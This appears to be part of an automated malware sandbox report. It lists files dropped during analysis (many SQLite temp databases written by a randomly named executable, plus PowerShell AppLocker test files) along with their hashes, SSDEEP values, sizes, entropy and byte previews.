MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YJUZF06CNO

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YTOoICgE03

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YZQ9TWcjEp

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YhKRE9qKeU

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YiFzoW7Duc

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YkoX1l2DN7

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZB8qlrILPQ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZXpzYPHFov

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Zjvf6eehRo

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZvHND58Ik7

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0sn1rgjo.lwd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4pi2xymx.22v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5htgfvvy.01c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aghlohfd.2lh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ate5gl0i.5o1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3wukz5m.i1b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ejkwcx0h.wsi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hcvjf3go.3ce.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihtwoqgc.rpx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kyzlizej.kfo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lqrffabi.fvt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxmk3mtl.mzn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mrjgcbqm.qq4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ovaerz35.nrf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5d1kmit.gbr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vggfmuh0.crq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtjtipxt.43k.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxf3coji.rqk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxaqbqrt.52c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycm02vns.gq3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

